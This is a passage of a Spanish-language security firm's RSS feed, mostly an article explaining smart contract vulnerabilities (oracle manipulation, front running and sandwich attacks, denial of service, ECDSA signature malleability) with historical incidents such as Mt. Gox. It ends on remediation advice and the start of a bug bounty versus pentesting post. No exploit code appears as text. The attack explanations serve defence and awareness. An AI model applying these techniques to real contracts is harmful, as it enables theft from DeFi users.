           En este exploit en particular, el origen de datos respecto a precios utilizada por “Sturdy Finance” proporcionó información de precios inexacta, que fue manipulada por los atacantes. Al explotar esta vulnerabilidad, los atacantes pudieron manipular los precios de los tokens dentro del protocolo, creando oportunidades de manipular arbitrariamente los precios y beneficiándose a expensas de otros usuarios.
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
            ﻿
           
                      
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           3. Front Running
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;br/&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
            ﻿
           
                      
                      &#xD;
      &lt;/span&gt;&#xD;
      
                      
                      
           La ejecución anticipada de esta vulnerabilidad puede ocurrir cuando un usuario envía una transacción a un smart contract, y un actor malicioso monitorea la blockchain (mempool) para detectar la transacción antes de que se confirme.
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           Luego, el atacante envía su propia transacción con un precio de gas más alto, lo que le permite ejecutar la misma antes de la original.
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;br/&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div&gt;&#xD;
  &lt;img src="https://irp.cdn-website.com/210ad002/dms3rep/multi/Deep+Security+-+Smart+contracts+5.png" alt="Un diagrama que muestra cómo agregar una transacción a una cadena de bloques"/&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           Imagen 10: Lógica de una transacción común.
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div&gt;&#xD;
  &lt;img src="https://irp.cdn-website.com/210ad002/dms3rep/multi/Deep+Security+-+Smart+contracts+6.png" alt="A diagram of front running en un juego de cuestionario"/&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           Imagen 11: Lógica de la vulnerabilidad FRONT RUNNING
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div&gt;&#xD;
  &lt;img src="https://irp.cdn-website.com/210ad002/dms3rep/multi/codigo6.png" alt="Un primer plano de la pantalla de una computadora con un montón de código"/&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           Imagen 12: Contrato vulnerable a FRONT RUNNING
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           Un gran ejemplo de esta vulnerabilidad es el ataque que se realizó a los primeros inversionistas de UNISWAP que buscaban ventajas en el mercado. Este caso trata acerca de que desde ocho direcciones se lograron robar $25,2 millones en activos mediante bots de front-running ejecutando la modalidad de ataque de “sandwich” que es una variante de Front-running.
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           El atacante supervisó la mempool o las transacciones pendientes en la red de Ethereum buscando grandes órdenes de compra o venta que puedan afectar significativamente el precio de un token en UNISWAP. Estas transacciones suelen ser enviadas por otros comerciantes. El atacante envía rápidamente sus propias transacciones antes y después de la transacción del comerciante para aprovechar el movimiento de precios causado por la operación de este. El objetivo es comprar barato y vender caro para beneficiarse de la discrepancia de precio, con ello el atacante se asegura de que sus transacciones se incluyan en el bloque antes y después de la transacción de destino. De esta forma, pueden manipular el precio de mercado y maximizar sus ganancias.
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           4. Denegación de Servicio (DoS)
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;br/&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
            ﻿
           
                      
                      &#xD;
      &lt;/span&gt;&#xD;
      
                      
                      
           Es el intento de interrumpir u obstaculizar el funcionamiento normal del contrato, saturando sus recursos o provocando un consumo excesivo de gas.
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;br/&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div&gt;&#xD;
  &lt;img src="https://irp.cdn-website.com/210ad002/dms3rep/multi/Deep-Security---Smart-contracts-7.png" alt="Un diagrama de una transacción con un trofeo en el medio."/&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           Imagen 13: Lógica de la vulnerabilidad DOS
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           Iniciamos desplegando el smart contract “Subasta”, después:
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;br/&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;ol&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
            “Usuario A”
           
                      
                      &#xD;
      &lt;/span&gt;&#xD;
      &lt;span&gt;&#xD;
        &lt;span&gt;&#xD;
          
                          
                          
             se convierte en el “mejor postor” enviando 1 ether.
            
                        
                        &#xD;
        &lt;/span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
            “Usuario B”
           
                      
                      &#xD;
      &lt;/span&gt;&#xD;
      &lt;span&gt;&#xD;
        &lt;span&gt;&#xD;
          
                          
                          
             se convierte en el “mejor postor” enviando 2 ether, entonces
            
                        
                        &#xD;
        &lt;/span&gt;&#xD;
      &lt;/span&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
            “Usuario A”
           
                      
                      &#xD;
      &lt;/span&gt;&#xD;
      &lt;span&gt;&#xD;
        &lt;span&gt;&#xD;
          
                          
                          
             recibe un reembolso de 1 ether.
            
                        
                        &#xD;
        &lt;/span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
            “Usuario C”
           
                      
                      &#xD;
      &lt;/span&gt;&#xD;
      &lt;span&gt;&#xD;
        &lt;span&gt;&#xD;
          
                          
                          
             puja enviando 3 ether, pero el
            
                        
                        &#xD;
        &lt;/span&gt;&#xD;
      &lt;/span&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
            “Usuario C”
           
                      
                      &#xD;
      &lt;/span&gt;&#xD;
      &lt;span&gt;&#xD;
        &lt;span&gt;&#xD;
          
                          
                          
             no se convierte en el mejor postor, a pesar de enviar mayor cantidad de ether, esto se debe a que
            
                        
                        &#xD;
        &lt;/span&gt;&#xD;
      &lt;/span&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
            “Usuario B”
           
                      
                      &#xD;
      &lt;/span&gt;&#xD;
      &lt;span&gt;&#xD;
        &lt;span&gt;&#xD;
          
                          
                          
             crea una función alternativa que revierte todos los reembolsos.
            
                        
                        &#xD;
        &lt;/span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        &lt;span&gt;&#xD;
          
                          
                          
             El mejor postor es el
            
                        
                        &#xD;
        &lt;/span&gt;&#xD;
      &lt;/span&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
            "Usuario B”
           
                      
                      &#xD;
      &lt;/span&gt;&#xD;
      &lt;span&gt;&#xD;
        &lt;span&gt;&#xD;
          
                          
                          
             y nadie puede convertirse en el nuevo mejor postor.
            
                        
                        &#xD;
        &lt;/span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
  &lt;/ol&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
            ﻿
           
                      
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div&gt;&#xD;
  &lt;img src="https://irp.cdn-website.com/210ad002/dms3rep/multi/codigo7-7c2817f4.png" alt="Una captura de pantalla de un programa que dice subasta de contratos."/&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           Imagen 14: Contrato vulnerable a DOS
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           Otro de los ataques más resaltantes fue realizado a Solana, quién después de sufrir una interrupción por denegación de servicio perdió el 15% del valor en las últimas 24 horas el 14 de septiembre de 2021 logrando afectar su precio en el mercado debido a la caída en el sistema pasando de cotizarse $175 a $145, siendo la noticia de este ataque la detonante de que los precios cayeran debido a la incertidumbre y preocupación.
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;br/&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           La denegación de servicio se dio al gran aumento de la carga de transacciones que fueron 400000 por segundo lo que causó la saturación de la red, de esta manera, cuando no se pudo estabilizar, se optó por coordinar un reinicio de la red. Así mismo, el día martes 14 de septiembre, una entidad desconocida intentó atacar Ethreum sin éxito.
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
            ﻿
           
                      
                      &#xD;
      &lt;/span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           5. Signature Malleability (Maleabilidad de la firma)
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;br/&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
            ﻿
           
                      
                      &#xD;
      &lt;/span&gt;&#xD;
      
                      
                      
           Ocurre cuando se utilizan incorrectamente las firmas ECDSA (Algoritmo de firma digital de curva elíptica). La vulnerabilidad permite que un atacante cambie ligeramente la firma sin validarla en sí. Esto sucede a menudo cuando un smart contact no valida las firmas correctamente, lo que permite a los atacantes modificarlas y potencialmente eludir las medidas de seguridad.
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           Una curva elíptica consta de todos los puntos que satisfacen una ecuación de la forma:
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           y
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;sup&gt;&#xD;
      
                      
                      
           2
          
                    
                    &#xD;
    &lt;/sup&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
            = x
           
                      
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;sup&gt;&#xD;
      
                      
                      
           3
          
                    
                    &#xD;
    &lt;/sup&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
            + ax + b
           
                      
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           Las curvas siempre son simétricas con respecto al eje x.
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div&gt;&#xD;
  &lt;img src="https://irp.cdn-website.com/210ad002/dms3rep/multi/curva+el%C3%ADptica+-+deep+security.png" alt="Un dibujo de una línea curva con la letra p."/&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           Imagen 15: Curva elíptica
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           Las firmas ECDSA consisten en un par de números, (r, s), de orden entero n. Como resultado de la simetría del eje x, si (r, s) es una firma válida, entonces también lo es (r, −s mod n).
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;br/&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           Donde:
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;br/&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           r
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
            : es un valor derivado del punto de la curva elíptica (x, y) generado durante el proceso de firma. El
           
                      
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           r
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
            valor es la coordenada x de ese punto.
           
                      
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;br/&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           s
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           : es un valor calculado durante el proceso de firma utilizando la clave privada, el hash del mensaje y r. El valor s está destinado a demostrar que el firmante tiene conocimiento de la clave privada.
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;br/&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           v
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           : es el identificador de recuperación, que se utiliza para recuperar la clave pública correcta (dirección) de la firma.
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;br/&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           Es posible calcular esta firma complementaria sin conocer la clave privada utilizada, lo que le da al atacante la capacidad de producir una segunda firma válida.
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div&gt;&#xD;
  &lt;img src="https://irp.cdn-website.com/210ad002/dms3rep/multi/codigo8.png" alt="La pantalla de una computadora muestra algunas líneas de código."/&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           Imagen 16: Contrato vulnerable a Signature Malleability
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           En el ejemplo anterior, podemos ver que “messageHash” se guarda en una asignación “messageUsed” después de la ejecución y se valida para que no exista en esa asignación antes de la ejecución. El problema con esto es que, si “messageHash” puede modificar manteniendo la validez, un atacante puede repetir la transacción.
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;br/&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           Para evitar este problema, es imperativo reconocer que para validar que una firma no se reutilice no solo basta con hacer cumplir que esta sea válida.
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;br/&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           Mt. Gox ha experimentado pérdidas sustanciales. Este ataque aprovechó una vulnerabilidad conocida como Signature Malleability, que permitió a los atacantes manipular el identificador único de transacción (TXID) de las transacciones de Bitcoin. Al alterar el TXID, los atacantes podían hacer que pareciera que una transacción no se había procesado, lo que les permitía solicitar retiros repetidamente de Mt. Gox sin que el intercambio detectara la duplicación.
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;br/&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           Este ataque de Signature Malleability en Mt. Gox resultó en pérdidas de $600 millones en Bitcoins lo que socavó la confianza de los usuarios en el intercambio. Desde entonces, el incidente ha servido como una advertencia para la industria, enfatizando la necesidad de mejorar las prácticas de seguridad y la implementación de salvaguardas para prevenir este tipo de ataques en el futuro.
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
            ﻿
           
                      
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;h2&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           Comentarios finales
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/h2&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           En conclusión, mejorar el conocimiento de las finanzas descentralizadas (DeFi) por parte de las empresas auditoras y realizar evaluaciones exhaustivas de seguridad como ethical hacking o bug-bounty son cruciales para identificar y mitigar vulnerabilidades específicas en contratos inteligentes y protocolos DeFi. Dado el rápido crecimiento y la complejidad del ecosistema DeFi, es esencial que los profesionales de la ciberseguridad se familiaricen con los aspectos únicos de la tecnología blockchain y las criptomonedas.
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;br/&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           Es importante reconocer que muchos ataques a las plataformas y protocolos DeFi no se originan a partir de vulnerabilidades dentro de las propias tecnologías de cadena de bloques subyacentes. Si bien la tecnología blockchain proporciona una base segura e inmutable, a menudo son los componentes externos, como los smart contracts, las aplicaciones descentralizadas (dApps) y las interacciones de los usuarios, donde se explotan las vulnerabilidades.
           
                      
                      &#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;br/&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           Para abordar estas preocupaciones, han surgido varias iniciativas y mejores prácticas para mejorar la seguridad de estos como, por ejemplo:
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;br/&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;ul&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
            Auditorías de código fuente
           
                      
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
            Programas de recompensas por errores (bugbounty) especializados
           
                      
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
            Prácticas de desarrollo seguro
           
                      
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
  &lt;/ul&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;br/&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
            Si deseas implementar la seguridad en tus smart contracts en gestión o estás en alguna de las situaciones de la información brindada, no dudes en contactarnos
           
                      
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;a href="mailto:comercial@deepsecurity.pe"&gt;&#xD;
      
                      
                      
           comercial@deepsecurity.pe
          
                    
                    &#xD;
    &lt;/a&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
            ﻿
           
                      
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;</content:encoded>
      <enclosure url="https://irp.cdn-website.com/210ad002/dms3rep/multi/smart+contracts_1024x600+TB-17031619.png" length="477785" type="image/png" />
      <pubDate>Mon, 04 Sep 2023 22:40:57 GMT</pubDate>
      <guid>https://www.deepsecurity.pe/por-que-se-siguen-reportando-incidentes-en-los-smart-contracts</guid>
      <g-custom:tags type="string">SPAN</g-custom:tags>
      <media:content medium="image" url="https://irp.cdn-website.com/210ad002/dms3rep/multi/smart+contracts_1280x749+TB-d70059fe.png">
        <media:description>thumbnail</media:description>
      </media:content>
      <media:content medium="image" url="https://irp.cdn-website.com/210ad002/dms3rep/multi/smart+contracts_1024x600+TB-17031619.png">
        <media:description>main image</media:description>
      </media:content>
    </item>
    <item>
      <title>Bug Bounty vs Penetration Testing: ¿Cuál es el enfoque correcto para tu organización?</title>
      <link>https://www.deepsecurity.pe/bug-bounty-vs-penetration-testing</link>
      <description>Los programas de bug bounty (recompensas por errores) y penetration testing (pruebas de penetración son dos enfoques distintos para las pruebas de seguridad, cada uno con sus propios beneficios y consideraciones. Si bien algunos pueden verlos como métodos opuestos, en realidad pueden funcionar en conjunto para mejorar la postura de seguridad de una organización. Es importante comprender las diferencias entre los dos y evaluar qué enfoque se alinea mejor con las metas, el objetivo y los recursos específicos de la organización.</description>
      <content:encoded>&lt;div&gt;&#xD;
  &lt;img src="https://irp.cdn-website.com/210ad002/dms3rep/multi/Bug+Bounty+Deep+Security.png" alt="Una langosta verde en una rama, y el mensaje de pruebas de penetración vs bug bounty"/&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           Los programas de
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           bug bounty
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           (recompensas por errores) y
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           penetration testing
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
